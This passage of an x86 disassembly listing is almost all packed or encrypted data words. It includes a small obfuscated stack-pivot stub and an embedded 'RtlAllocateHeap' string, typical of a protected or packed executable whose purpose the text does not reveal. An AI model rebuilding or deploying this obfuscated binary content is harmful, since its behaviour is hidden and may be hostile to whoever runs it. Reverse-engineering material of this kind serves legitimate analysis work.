		dd 309FAC45h, 0B01A3F78h, 3215661Ah, 329769E8h,	0B2156644h
		dd 0E7444F0h, 7D9169F9h, 3D156688h, 321567C7h, 7E7D9A22h
		dd 0BB156617h, 32AC4284h, 0BB156644h, 26FC3FEAh, 0B1156611h
		dd 0B6E0221h, 12641B9Dh, 6A28BF5Bh, 202DD5EAh, 0DB75540Bh
		dd 321567A0h, 3201EA2Dh, 3DFC6611h, 0E6156688h,	0F9F7A662h
		dd 79D47F4Ch, 2EF4F3A7h, 207DAAA6h, 0BB15666Dh,	0BB1A423Eh
		dd 32156604h, 32157661h, 41DA0144h, 515EDA75h, 73E08578h
		dd 0E2018976h, 0DE949FC2h, 32156626h, 0B3315298h, 40A142BCh
		dd 0B34E7A78h, 0E67D2D1h, 32048F0Dh, 0C5EE6688h, 0FA682012h
		dd 0D00E3CC6h, 0D10FFBB5h, 639A3694h, 321567FDh, 31E46722h
		dd 1619ED08h, 3211A209h, 54756644h, 0B943B8A9h,	627439C2h
		dd 32156330h, 0B9D66744h, 0F6964226h, 32078F15h, 0F4C66688h
		dd 3D3CD903h, 1EF7751Dh, 8C5FCECEh, 8A9A53C3h, 0CEA23516h
		dd 0C46D81A2h, 20E2E6CEh, 0B24E9800h, 0DC95B5B2h, 68E5EE43h
		dd 3D75CCEDh, 32156302h, 95BDF44h, 39FD7A48h, 89156611h
		dd 8A0D43F0h, 8B815AB7h, 0EC9EF75Fh, 8A45074Bh,	76CF18A5h
		dd 1F178E85h, 1BDB76E7h, 2315DE3Ch, 0B5514B81h,	0F114C6BCh
		dd 0B3EE4F7Ah, 6D13ACFAh, 321A8FB5h, 0E4DE6644h, 945BA4A3h
		dd 0DEDAFC49h, 28193C4h, 8D42341Ch, 6ED90977h, 0FE7A37ABh
		dd 6DEF57D4h, 0DB4FB56Dh, 32156631h, 7291DDA3h,	94B2D2C6h
		dd 8B66BF13h, 2518F6F0h, 628D83EFh, 1611EDDBh, 3211A2C5h
		dd 524E6622h, 321560F8h, 0A9DE6388h, 3D680B07h,	321565ABh
		dd 0F39E0011h, 0DBE0CDE9h, 32156656h, 4341ED5h,	30AB7DDh
		dd 8A4FCD42h, 5CA92A41h, 2E9ED466h, 0D49C3035h,	3211A009h
		dd 0F4946644h, 32156626h, 6E315296h, 3214E487h,	52ED6644h
		dd 52C2ED44h, 53EDB69Ah, 37AC37E9h, 33156644h, 1619EDECh
		dd 5211A292h, 0F0FCE7EEh, 321C8F58h, 0C1C86622h, 5E51F6A2h
		dd 53990A29h, 3246F62Ch, 1619EF22h, 321567A8h, 6BDDEF88h
		dd 7AAC0024h, 53CAED5Bh, 321A8FD2h, 89F36688h, 0BF3690ECh
		dd 5E75AB0Bh, 51B9AB2Ch, 2D1F0E50h, 3E9C6644h, 32078F06h
		dd 0FAF86611h, 0E7D037FCh, 0A54EE0A3h, 238112FFh, 73D896CDh
		dd 3214E387h, 60ED6644h, 32156698h, 54E76711h, 269E6403h
		dd 36D1E560h, 3201E22Dh, 0B41A6611h, 32156686h,	32156FADh
		dd 15B59B22h, 2E50D644h
		dd 0F129F99Ah, 333BE24Bh, 0B31A6622h, 3215661Ch, 762EDFE8h
		dd 0BE1A7A7Dh, 32156622h, 3DDE5A70h, 3214750Ch,	249B6944h
		dd 0DB156622h, 32156600h, 1D56DB40h, 0E06FEFB9h, 67620131h
		dd 0F6DEF691h, 3DD75A63h, 321453C0h, 32018F22h,	11886611h
		dd 0F25C3CCAh, 292EA0ABh, 0F9B6988Fh, 4A9A93F8h, 0F829C901h
		dd 3301E24Bh, 0C7ED6622h, 17EA5B77h, 333AE287h,	54EC6644h
		dd 3DEA481Fh, 32153894h, 3E916988h, 3D156644h, 321560A4h
		dd 32926911h, 60156688h, 3215642Ch, 0C0143C22h,	3D4F649Bh
		dd 3215670Ah, 0C77D9344h, 0BB156637h, 0C2A4421Dh, 0C74CAEA8h
		dd 0B61AC678h, 32156769h, 3203E51Eh, 23FC6688h,	15156644h
		dd 18703593h, 5169B194h, 2EC3FAA0h, 79E9D851h, 3214E12Dh
		dd 0B9E06611h, 0BB474284h, 36D7E7A6h, 0B3156622h, 321562D3h
		dd 1601E188h, 25976918h, 0DB156622h, 32156603h,	66732D99h
		dd 61AFE74h, 47931F05h,	6F5F97D4h, 92ADEAB0h, 0F32B0611h
		dd 7A5D61C2h, 7104C31Ch, 8F402EA3h, 62DF77F6h, 0FC5993A3h
		dd 0DA240DB0h, 0B9FC9AD5h, 0CE156645h, 34FCAF13h, 0C1156611h
		dd 9A9AC31Fh, 249B691Eh, 0DB156622h, 32156600h,	562B5CC2h
		dd 1697CAD2h, 0DEAE360h, 0F95BE12h, 33AD36B1h, 33156644h
		dd 0B31A3EE3h, 32156619h, 3217EA87h, 53756644h,	3215A0CBh
		dd 317D9F11h, 0B9156688h, 0F6964248h, 339A6926h, 0CA156611h
		dd 3215C861h, 38986944h, 52156622h, 0B4FAE777h,	2EDAE640h
		dd 0C9AD3625h, 0F3764D3Dh, 894660F9h, 63617388h, 174EBE45h
		dd 33F37DECh, 0C95DC73Ch, 8ABE5392h, 0F39C8040h, 32018F7Ah
		dd 9ED26611h, 730B3415h, 0B4DC95h, 1E9A004h, 0A3CACD04h
		dd 6EFC9B2Fh, 0DB156644h, 32156632h, 1D3FE16Dh,	2BAA9172h
		dd 5784AB04h, 1C3DD392h, 3210E91Eh, 3D756688h, 6574A9F3h
		dd 4F090E4Ah, 0E5E23948h, 0D1858909h, 0B342C0C6h, 371F4216h
		dd 0B34C0570h, 53106C79h, 0B11A3927h, 32156635h, 321574F8h
		dd 61DCDA88h, 0EF315539h, 0A061B51h, 2E430BE3h,	0C116291Dh
		dd 0EB9E06E0h, 321560CBh, 3EE03211h, 5368586Dh,	2DE4EBCFh
		dd 0B375600Eh, 0A59805F7h, 6ADAE7E4h, 532B13E8h, 0B71AAFA7h
		dd 32156636h, 321FEB87h, 54756644h, 54B58B9Ah, 53B30EAAh
		dd 2DE4D301h, 3EFC6068h, 0E156622h, 0CF68CBD9h,	95209557h
		dd 0CD0847C5h, 0B14C4216h, 5AE962D5h, 32156689h, 0B33162CFh
		dd 321562E6h, 32058F11h, 67E16688h, 6545722Bh, 998E1571h
		dd 0E5B08924h, 52D62294h, 3211E74Bh, 8A736622h,	3D75A931h
		dd 32156604h, 32138F44h, 8DB6622h, 3DBE036Bh, 0CD7307E9h
		dd 1E940072h, 5453A006h, 0B331629Ah, 3215644Ch,	0F4100044h
		dd 0F1299364h, 33ABE21Eh, 63ED6688h, 0BAD3EE16h, 0D99D3CD7h
		dd 32058F48h, 3C246688h, 4E2E0778h, 847AE1C5h, 6017F610h
		dd 54E0E755h, 85460014h, 54E9EED2h, 54F6464Ah, 3E9A69D0h
		dd 3D156644h, 321560AFh, 32966911h, 0B2156688h,	0B61A16BFh
		dd 3215620Eh, 3203EB1Eh, 23FC6688h, 0BF156644h,	27476CCEh
		dd 9B862005h, 0E11F895Ch, 328C3B01h, 0B61A8F1Eh, 32156741h
		dd 321DE687h, 0CA756644h, 98386D99h, 0D9290720h, 332FE287h
		dd 0B31A6644h, 3215663Dh, 320CE21Eh, 26FC6688h,	0C5156644h
		dd 0A61B3F18h, 52D285A2h, 0FB2376Eh, 0DB3B2542h, 52951470h
		dd 0CAAA69E8h, 3DD75AE9h, 321461C0h, 0BE1A9E22h, 3215660Fh
		dd 320DE787h, 21FC6644h, 38156622h, 0E751F1EDh,	9E401D48h
		dd 2F9A268Fh, 8029F750h, 0F92945F0h, 32CFE287h,	54ED6644h
		dd 3D30991Fh, 3215A995h, 33996988h, 0C7156644h,	0B61AAC1Eh
		dd 321566D1h, 3214ED87h, 0EE06644h, 5B9169C1h, 0CA156612h
		dd 0CD3B5BEEh, 325EE34Bh, 3FFC6622h, 0D0156611h, 0BCD37EFBh
		dd 771A693Dh, 0FB2950F3h, 3217DC43h, 0C0146688h, 269E64CEh
		dd 36D1E506h, 814600E8h, 9DFEE617h, 6973BE64h, 321569CBh
		dd 82A26211h, 7545C2FFh, 4E16E59Dh, 0E69A4CDh, 0B61AC62Dh
		dd 321566D4h, 1CA833B1h, 0C51D2B1Fh, 75D0E7CCh,	0B319A889h
		dd 827A13A9h, 0ACF8E741h, 0B30C5178h, 0AAFE6065h, 0B9FDEFC3h
		dd 0F696420Eh, 209B6915h, 0DB156688h, 32156649h, 2591C606h
		dd 0B7151FEh, 18A44A74h, 32958FEDh, 0B2756622h,	3EFC48C7h
		dd 14156688h, 0ED26B855h, 12FFDE8Bh, 536DE4E9h,	2DE4D301h
		dd 0B21A6068h, 32156625h, 0B5FBE671h, 0BF74B503h, 0A597D9h
		dd 321E8F24h, 0F6896611h, 2D31C3E2h, 1587F16Eh,	0DBC699D5h
		dd 32156602h, 264C4619h, 0A28C6BEEh, 0FAB25068h, 0D09463Fh
		dd 5A5F22CEh, 3215044Ah, 883172ABh, 264D10AEh, 6A63A630h
		dd 68C54F50h, 3219E62Dh, 0B71A6611h, 3215668Eh,	3215EF4Bh
		dd 3DD66622h, 32157494h, 32188F88h, 26D56644h, 0B2E6AA1h
		dd 44D44C08h, 5AA8B45Ch, 3215664Ah, 0CB3162ABh,	22AE3540h
		dd 0BB156688h, 0C3143D9Dh, 3D4C67A9h, 32157E90h, 23FC0688h
		dd 2B156644h, 36AC0B45h, 0CC9E077Dh, 27AF4B79h,	84EEDE8h
		dd 1B90EF43h, 0CE134A14h, 32156861h, 5A202C44h,	84D98B2Bh
		dd 0ACD20781h, 0CDEF257Ah, 0B34D4270h, 321562E6h, 39FC0611h
		dd 9B156688h, 0E0647955h, 0C4A1693Ah, 0FC94CF46h, 14C2775Ah
		dd 2EAF3425h, 0B3156622h, 0C8745AFFh, 0B3C367C5h, 0C8745A82h
		dd 35FC3C6Fh, 4F156611h, 36FB18B4h, 8F98825Fh, 34394247h
		dd 3219EF1Eh, 35FC6688h, 26156644h, 0D6F8F7A7h,	3DB89EF8h
		dd 32156702h, 1D389E44h, 31272E2Ah, 63314255h, 0E0082A31h
		dd 0AAD4E710h, 0B311BB78h, 9A0800D0h, 0FB9427DCh, 113A3F09h
		dd 0E77597A3h, 0FA14FB26h, 3D4706D1h, 321566CCh, 0B3733822h
		dd 53A757DBh, 0B3730623h, 0DAAFB9A4h, 3215662Dh, 0CA644312h
		dd 7726CA75h, 82B1B1B9h, 3DE44558h, 3215669Fh, 3D743888h
		dd 32156AC9h, 349D6922h, 3D156611h, 32156606h, 4BA8EB44h
		dd 0CE134A2Ch, 32078FBCh, 0F05E6688h, 384A7A04h, 0BF7B9181h
		dd 56175C57h, 15C5FDD2h, 94793741h, 16516534h, 0E8AF3435h
		dd 0B30395CAh, 813C1186h, 68C54FDDh, 0D29C36EDh, 3215628Dh
		dd 36FDE544h, 6E3162A5h, 3D316298h, 3215670Bh, 0DBBE9344h
		dd 32156631h, 14457B64h, 0DF2C41FCh, 0FF64E6B8h, 28D3FA1Ah
		dd 0BFD37DAFh, 1E1F3735h, 239E6942h, 3D156622h,	32156D95h
		dd 32138F88h, 0AC8F6644h, 17E0B98Dh, 0BA1A06BCh, 3215668Ah
		dd 0B81A0724h, 32156624h, 7A6CBF90h, 377465E7h,	1C08591Ah
		dd 1A312221h, 44D1D946h, 0D5941B70h, 61CA0341h,	517C89A3h
		dd 0D5D400AAh, 0B352218Ch, 80DF32ABh, 6DED4FA1h, 3205ED1Eh
		dd 39FC6688h, 17156644h, 13BC00D4h, 973089A4h, 0C7BEEB9Dh
		dd 6C3152BBh, 3211A2A3h, 54756611h, 0EE868009h,	0FFD2E722h
		dd 52D6075Ah, 321577F8h, 29250B88h, 7444B144h, 271FA7D4h
		dd 0AB38302Dh, 86AED8F8h, 53427044h, 0B3F0EF77h, 321562D4h
		dd 36F8E588h, 6E314AC3h, 523152ABh, 32926943h, 6A156688h
		dd 88EB25h, 0C7135492h,	39FCB5EEh, 89156688h, 0B01B792Ch
		dd 0B98D59Ch, 0B01AC5BAh, 32156683h, 329C6924h,	3D156622h
		dd 0DB74ADAEh, 0CDEA9A29h, 32156BADh, 41421622h, 21B9BBEEh
		dd 6CF4E151h, 0CEDF9E4Dh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 761F7DC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h
		dd 1E2C5E91h, 798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43B985B7h, 2032DCF1h
		dd 0BA8C26BBh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 6738FC38h, 0DF07462Ch, 529BC0D6h, 3C6D5h, 5492B85Eh
		dd 3075152Ah, 5CDDAEAEh, 0D5338FA7h, 0D9FB5791h, 761B61B0h
		dd 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh, 9132DCAAh
		dd 168C26BAh, 0C5DCCB2Fh, 96751319h, 0BD54142Bh, 458A152Ah
		dd 0A8EDDAC3h, 4582D7E3h, 3044BAh, 1EE900h, 0A1BC0000h
		dd 126Eh, 6 dup(0)
		dd 0DA1E9h, 984B6800h, 47E90633h, 68FFF8E6h, 633992Eh
		dd 0F8E63DE9h, 9A2D68FFh, 33E90633h, 68FFF8E6h,	6339AEBh
		dd 0F8E629E9h, 9E5768FFh, 1FE90633h, 68FFF8E6h,	633A12Ah
		dd 0F8E615E9h, 0A24068FFh, 0BE90633h, 0FEFFF8E6h, 954697B7h
		dd 2FE031BBh, 0CA7BCC54h, 631465F1h, 22B00187h,	0A906C89h
		dd 0A82A08B9h, 45C9A657h, 0DDFB43F4h, 1251DF8Ch, 37F12CBCh
		dd 920A08DEh, 0E6F62690h, 60390FB0h, 9B1C74D4h,	86BB39BFh
		dd 73C706AAh, 9331C202h, 0B36BC323h, 51D5B2h, 44C20CA1h
		dd 0EE76A005h, 1D5C9E37h, 37EE76A9h, 0B52179E9h, 38929D45h
		dd 3737EE76h, 4CD6B0E5h, 0FB43B4A4h, 0ED4535DDh, 0E6F198h
		dd 53582982h, 10B8D61Eh, 389EC820h, 60000000h, 94125CF1h
		dd 0EEE48455h, 96148437h, 0E9838561h, 8BA4F305h, 0B75908CBh
		dd 3256AEB9h, 4D2FECD1h, 53AF897Bh, 0BE59393Ah,	3256EAB0h
		dd 32569D49h, 0B30CBAB1h, 898A5Bh, 325D47B7h, 94F757B1h
		dd 1CA8B588h, 3449258Fh, 5E983ACh, 0F1B0A4F3h, 7AF29D11h
		dd 0FB2375FDh, 49375317h, 3FD525FBh, 6BADFDF5h,	22914677h
		dd 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh, 0F1FB987Ch
		dd 0FFA073CEh, 0E983FC65h, 8BA4F305h, 0D2BD8DDBh, 8D0633AEh
		dd 3436A48Dh, 6644B806h, 0CF2B3215h, 3102E9C1h,	83C8D007h
		dd 754904C7h, 1880FF6h,	0F9000000h, 11E9h, 375F7F00h, 0BEA9EDD4h
		dd 6343D128h, 0CE38AF21h, 820F9193h, 1,	895155FCh, 59CD89C1h
		dd 605DE889h, 35DB8166h, 4FB36086h, 0BD836161h,	62C1D65h
		dd 83097500h, 2C23D9BDh, 19740006h, 0C08B5350h,	411B8h
		dd 3D858900h, 8D062C34h, 2EB1D39Dh, 5BD3FF06h, 0D9BD8358h
		dd 62C23h, 53501774h, 411B8h, 3D858900h, 8D062C34h, 2EAE749Dh
		dd 5BD3FF06h, 0DE86058h, 58000000h, 2ED1ED2Ch, 0B866D76Fh
		dd 0EF84C81h, 526058F5h, 6158525Bh, 13E961h, 9BFC0000h
		dd 7DA5BDA2h, 94D0B25h,	0DF60D6D8h, 18D6403Ch, 4EC81D3h
		dd 89000000h, 0C789243Ch, 0FC5FF889h, 0CAB86660h, 5860F67h
		dd 66000000h, 0AD94C181h, 0EDE9F861h, 60000000h, 0A8D88C66h
		dd 0DF840F04h, 8B000000h, 2C0CEDB5h, 0FE8306h, 22850Fh
		dd 85C60000h, 62C21ADh,	69696845h, 0B5FF8E72h, 62C1671h
		dd 860C858Dh, 0D0FF062Fh, 24018589h, 0F08B062Ch, 0FE93E80h
		dd 3185h, 69858D00h, 0FF063195h, 95BD8BD0h, 81062C11h
		dd 1184C7h, 0EDB58B00h,	87062C0Ch, 8B9F7h, 0A4F30000h
		dd 0CEDB58Bh, 858D062Ch, 62FAF9Ah, 0B58BD0FFh, 62C1E5Dh
		dd 0F00FE83h, 2285h, 0AD85C600h, 54062C21h, 4EBEF468h
		dd 71B5FFFFh, 8D062C16h, 2F860C85h, 89D0FF06h, 2C1E5D85h
		dd 80F08B06h, 850FE93Eh, 3Ah, 1E5DB58Bh, 858D062Ch, 6319569h
		dd 0BD8BD0FFh, 62C1195h, 1184C781h, 0C7830000h,	5DB58B08h
		dd 87062C1Eh, 8B9F7h, 0A4F30000h, 1E5DB58Bh, 858D062Ch
		dd 62FAF9Ah, 0C361D0FFh, 39FD858Dh, 85890634h, 62C0C79h
		dd 5E8h, 121C4500h, 0BE66599Fh,	66584A83h, 81D268BAh, 7221C0h
		dd 29F7BA00h, 685072h, 8B000000h, 5B5359F0h, 8B083C8Bh
		dd 0FEF81D6h, 660B8E2Ch, 817146BEh, 1CCCAC7h, 0D78B662Ch
		dd 0EEB9EF81h, 0BE663F53h, 3C8976DDh, 7E808h, 4E30000h
		dd 0BE97E67Eh, 0D8BE660Eh, 0D7805EB9h, 4E9833Eh, 0DEB70F60h
		dd 61F18B66h, 8E50F981h, 850FFFFFh, 0FFFFFFB0h,	2BE91AB2h
		dd 1000000h, 3FD498h, 9	dup(0)
		dd 0DDE90000h, 68000004h, 6343C93h, 0F840FDE9h,	3D0168FFh
		dd 0F3E90634h, 68FFF840h, 6343EC9h, 0F840E9E9h,	7595DCFFh
		dd 0F997324h, 0AA320DBEh, 43CFA859h, 0DF6541F2h, 4AEF008Eh
		dd 0E697E86Eh, 84358608h, 21D223A7h, 0BD6ABBD9h, 819AF02Fh
		dd 0E6BC37F6h, 3DC39FE8h, 2E4C9495h, 2EBFAEB0h,	1A31ADDh
		dd 0E941A123h, 4A942988h, 0F74B8ACCh, 1731C21Dh, 82C14FA7h
		dd 37EE1C35h, 424DF565h, 37EE12C8h, 1CCBCEE7h, 5829AA36h
		dd 0B2084789h, 0D437EE0Eh, 2AE20C64h, 0A4000003h, 959F3Bh
		dd 0FCF938B6h, 1C37EEDCh, 0CF500ACh, 89290402h,	0ED2CAAF4h
		dd 347F592Ch, 8534DC4Ch, 308FC8F0h, 0B3AC370Dh,	3896D553h
		dd 5A3E5360h, 0CB7391D9h, 0C8FD7BDBh, 53116280h, 0CBA7D61Eh
		dd 4D3DE545h, 0FD2C74F5h, 0FFEF97B5h, 4E923A9Fh, 447C4E17h
		dd 337E5h, 0A5C50C00h, 3FC9A354h, 0DA623DEEh, 73FFD889h
		dd 0F957122h, 7A9F30BEh, 16C7189Eh, 0B465B638h,	510253D7h
		dd 0ED9AEB09h, 86AA205Fh, 16EC37F6h, 5909218h, 16DD03C7h
		dd 5946BCFBh, 188831C2h, 9C3160B8h, 0AC95D452h,	0EC37F616h
		dd 0EDC9FE7Ch, 89651667h, 76508503h, 0D1DC94ECh, 37F7A47Ah
		dd 0C227458Dh, 44629E04h, 0C963C2FAh, 9E000002h, 35E63757h
		dd 0CF80D15Bh, 6A1B6CF4h, 3B40591h, 0C250A127h,	0AA300C29h
		dd 48CAA859h, 0E56946F7h, 7D9BE394h, 0B2F17F2Ch, 37F6875Ch
		dd 0F1AAA87Eh, 0F380345Ch, 0C23EEC8h, 16EF2EACh, 4637F659h
		dd 0AB232ED6h, 0C837F652h, 17FDE8AFh, 6A582166h, 0B3B76568h
		dd 0F6BB1E74h, 92D04037h, 0AF07CFE3h, 1FC85h, 90924700h
		dd 0B5AE6BAh, 36B70FE4h, 1D52D0EEh, 2111B943h, 0C81011C9h
		dd 0E22A2CAAh, 7D1AFA1Fh, 975F7502h, 0A6A3B6Eh,	5DF251B2h
		dd 3740B6F5h, 128231C2h, 20F534B2h, 3E37EE5Ah, 1149BDFCh
		dd 198937EEh, 11E65C9Bh, 0B82837EEh, 684F460h, 805CF7D1h
		dd 26252FAh, 97E7F2AAh,	8C37EE11h, 0DBC19473h, 925829A2h
		dd 39h,	0D0909254h, 4D65067h, 0F88DBC14h, 0B3FB30AEh, 0A5FDED95h
		dd 1AD3D517h, 0A222802Eh, 0A4FD88E0h, 0F437EEB4h, 79D1DC84h
		dd 7637EE34h, 0C5ABBA5Dh, 7C5829C3h, 104h, 39579F3Eh, 8A886BBh
		dd 0C2BA75C9h, 0C5259531h, 0D8B4B56Dh, 34DC6841h, 3166E444h
		dd 0BE76CE56h, 0AF5775BDh, 277A9FA1h, 57FF1D65h, 237E2967h
		dd 5DA5267Eh, 0F933EE3Fh, 1031C28Bh, 0F94D8CC8h, 1931C283h
		dd 96EC2BA9h, 0B831C283h, 286AE848h, 0C28395E9h, 40C2A031h
		dd 0A31756E4h, 0E331C283h, 0C8A21373h, 4EA6963Eh, 1EFA2FEDh
		dd 7C114098h, 8361D514h, 31A131C2h, 931453D1h, 0B37F150h
		dd 0D9DB1D9Bh, 0B1232A19h, 0DC5DB54Dh, 0A91D5C00h, 0E937ECBCh
		dd 5968439Bh, 0C5251A35h, 0D6B2E765h, 149FF332h, 4FBF37ECh
		dd 0FF5747EFh, 7A11ED9Eh, 53B8189Eh, 445C2E5Dh,	1EA4981h
		dd 0D6000001h, 6D1E6F8Fh, 7B80993h, 0A253A42Ch,	3BEC3DC9h
		dd 0FA88D95Fh, 0E26844E1h, 8002E091h, 1DA17E2Fh, 0B5D31BCCh
		dd 0EA29B764h, 37F68494h, 9FE2E0B6h, 3BEC3DC3h,	0C684D5F3h
		dd 8931B391h, 7D25AD88h, 1BD52D8Dh, 0EF699092h,	0CEEEB2A7h
		dd 8FADF576h, 6603DC11h, 6C5C048Ah, 0EEFCB40Ch,	0FC54E0B9h
		dd 9715337Bh, 41A01655h, 72E231C2h, 0C55AB91Ah,	9DBEFD7Bh
		dd 3D37EFF2h, 0B25AE0BCh, 0AFE462C2h, 41FC4DD3h, 37EFF0C9h
		dd 0AA85B4FCh, 0C071C222h, 57B65EE4h, 68h, 125CF169h, 0F5505594h
		dd 40B037F6h, 534F9798h, 381245C7h, 0D81606AEh,	0C1212435h
		dd 357DB270h, 0F63EBF17h, 47255AD8h, 8717D9E7h,	7BDB8A1Fh
		dd 0F4606B23h, 276D97EDh, 0DE263BDEh, 6FB16FC0h, 0D7EDDA30h
		dd 348CFC71h, 0A54D6BB3h, 512ECBA4h, 0D53525CDh, 0F0A232Dh
		dd 9BEC0A52h, 0DC84A2EAh, 37Dh,	0BDF78F00h, 9038589Fh
		dd 8129478Fh, 771FA380h, 6E169876h, 630B916Dh, 58008662h
		dd 4AF27E57h, 3EE66E49h, 31D9633Dh, 0E7895715h,	4C781h
		dd 0EF830000h, 243C8704h, 6824248Bh, 44D3h, 53242C89h
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	0C368241Ch, 8B06343Bh
		dd 0C481242Ch, 4, 3E5C68h, 24248900h, 4240481h,	5B000000h
		dd 0E5BF5755h, 167925Dh, 5F04247Ch, 8108438Fh, 5DE5086Bh
		dd 1C8B6792h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		db 0Fh
		dd 343FEFB8h, 0FFC50306h, 0C025B8E0h, 1CD6B712h, 1CFA0430h
		dd 7A17D26Dh, 0E5620D69h, 0A311513Bh, 0FC901C30h, 3C737E73h
		dd 53DCE60h, 2FDA3974h,	14F2B612h, 0D1801B5Eh, 0EEF45E32h
		dd 9154C76Bh, 0F29BB56Ah, 418DB516h, 85231B2Eh,	10FD576Bh
		dd 0CAA7427h, 8D736651h, 0C0E44F7Dh, 428C4A4Dh,	0B6FC2B7Bh
		dd 0DACE143Ch, 0DFF90C2Fh, 0C727FA23h, 8ED13648h, 0BD8C9738h
		dd 0ED900E68h, 97298A55h, 0D94CDB15h, 0B68D8D12h, 6A063441h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 8B49C357h, 2BA58D89h, 800F062Ch, 0Bh, 6E9h
		dd 0FE468900h, 0C773FC86h, 2C12D985h, 67B806h, 0F1BF0F00h
		dd 29C185C7h, 62Ch, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 1C0424h, 50400000h, 4EA4A5C3h, 0E43BA990h
		dd 0BF0F2D6Fh, 0DDB5FFDEh, 80062C00h, 95FF61CAh, 62C15F5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4EC35545h
		dd 2583BB8Fh, 0FF006AF1h, 2C26B195h, 0EBC08B06h, 0D0EDC53Bh
		dd 62B7D6D9h, 244BBF99h, 220A5CF5h, 110F9B47h, 0CEA78C85h
		dd 12FD0EA0h, 0C902B56h, 2E48D0B6h, 44882EA0h, 0CDEB5C24h
		dd 7A06A29Ah, 0D9C838D9h, 0A076B55Eh, 8CE38AA6h, 33E9h
		dd 0B7AB6100h, 6C745273h, 6F6C6C41h, 65746163h,	70616548h
		dd 14000000h, 7	dup(0)
		dd 1138E9h, 443B6800h, 6FE90634h, 68FFF83Ah, 6344536h
		dd 0F83A65E9h, 478A68FFh, 5BE90634h, 68FFF83Ah,	634489Bh
		dd 0F83A51E9h, 4BFE68FFh, 47E90634h, 68FFF83Ah,	6344C9Eh
		dd 0F83A3DE9h, 4CDD68FFh, 33E90634h, 68FFF83Ah,	6344E08h
		dd 0F83A29E9h, 4EC168FFh, 1FE90634h, 68FFF83Ah,	6344F42h
		dd 0F83A15E9h, 50CE68FFh, 0BE90634h, 68FFF83Ah,	63451C5h
		dd 0F83A01E9h, 8DADF4FFh, 27B18B3Ch, 0C24A25D6h, 5BE7C071h
		dd 0F77D590Ah, 628718A6h, 0FEAF0086h, 9C4D9E20h, 39EA3BBFh
		dd 0D582D3F1h, 0F8B20847h, 0FED437F6h, 39579F00h, 2A489091h
		dd 2A48182h, 0DF5B4100h, 0CF4A10CEh, 31C2437Bh,	0C925A986h
		dd 40E86A48h, 0E890F050h, 22A50DE7h, 0A1C23C72h, 0AFB058B8h
		dd 0A6A74FD1h, 0B1CA44CAh, 77900AD6h, 3B77BF90h, 0C2D086FCh
		dd 0E758C831h, 0D122820Eh, 7B03DE13h, 40C6A223h, 0CD4180C2h
		dd 0D31C2D0h, 33E4459Dh, 2425CDEBh, 4CD0ADDCh, 0D654B4A4h
		dd 0F1C6ABD4h, 7ED6FB56h, 4D2A5F1Dh, 0AD4271C9h, 0F1A6E563h
		dd 1137EE18h, 872FB390h, 0F2E2CCB9h, 2686D964h,	0BB131EC6h
		dd 0CE37EE0Ch, 0F27E5786h, 0A1E9EA92h, 650D9972h, 0A26D1575h
		dd 0DB620E09h, 2A10C7C2h, 7D582998h, 0A825927Bh, 512ED843h
		dd 0EB156DCDh, 27h, 125CF1ADh, 0DECC5594h, 0F52A37EEh
		dd 0FDED9517h, 21C939A5h, 0EE9EA416h, 0E7A2BB37h, 2A2E0AF0h
		dd 0B8C158h, 9F830000h,	90913957h, 0BB411DB4h, 0D8B22313h
		dd 56B6A64Eh, 16FBD6D8h, 2B94CF89h, 0D21A1BD3h,	0C30B0CB4h
		dd 0CF2FBB94h, 0DA68C37Eh, 579F31C2h, 0F52AE839h, 1EAA8318h
		dd 0CE268676h, 69E7054Dh, 29D15934h, 1B29E139h,	0D8809EE6h
		dd 0CC6190E8h, 0E4C50482h, 437EEAAh, 4FE44394h,	4A488705h
		dd 0AC31DD1Bh, 0AD89BE3Ch, 4925D627h, 28DC5EC3h, 0DA124A88h
		dd 0E7E7Bh, 0FD1D6400h,	9721FBACh, 32BA9546h, 0CB5730E1h
		dd 67EDC97Ah, 0D2778816h, 6E1F70F6h, 0CBD0E90h,	0A95AAB2Fh
		dd 45F24361h, 0FE0278B7h, 6E4437F6h, 3DC39F70h,	0C4F33BECh
		dd 0EB754FEAh, 93F3E38Bh, 5CF15842h, 0ADC32301h, 0DD490B8Bh
		dd 0B5A54DADh, 0F98D755h, 6D37EE74h, 7895E26Bh,	0FC5408A6h
		dd 6A782090h, 7A95E928h, 45B537EEh, 7A3288C7h, 0E45437EEh
		dd 7A89018Ch, 8DA637EEh, 4786C88Ah, 37EE7AF3h, 0D04BA313h
		dd 582991EAh, 0A4A1h, 579F6300h, 0B4909139h, 207B862Eh
		dd 5731C2BFh, 0E2A0F10Fh, 96FA76E0h, 96EECDF4h,	7AFCD15h
		dd 0FB79C358h, 0EE36D3BCh, 27ADFB37h, 0B23B652Ch, 0B71667C7h
		dd 255AD822h, 0DE6CC448h, 58B679Ch, 8A156D5Dh, 31DD769Fh
		dd 0CF118FFFh, 0D25CBC9Ah, 0A1916A0Eh, 0B1A149A9h, 76FCD859h
		dd 12987425h, 877187ADh, 0C01F574Ah, 0D83h, 0B1022269h
		dd 4B9C2600h, 0E637BF9Ah, 7FD05C35h, 1B6CF2CEh,	0FDD97C8Dh
		dd 97752677h, 3613C415h, 68B061B2h, 0BE4CF94Ah,	0F6FF0B7Fh
		dd 77754B37h, 0EC3DC39Fh, 84D5F33Bh, 39579F9Ah,	23AB86BBh
		dd 7B338B7Bh, 9614327Ah, 53FB1961h, 0EFAA0B63h,	31C2BA9Fh
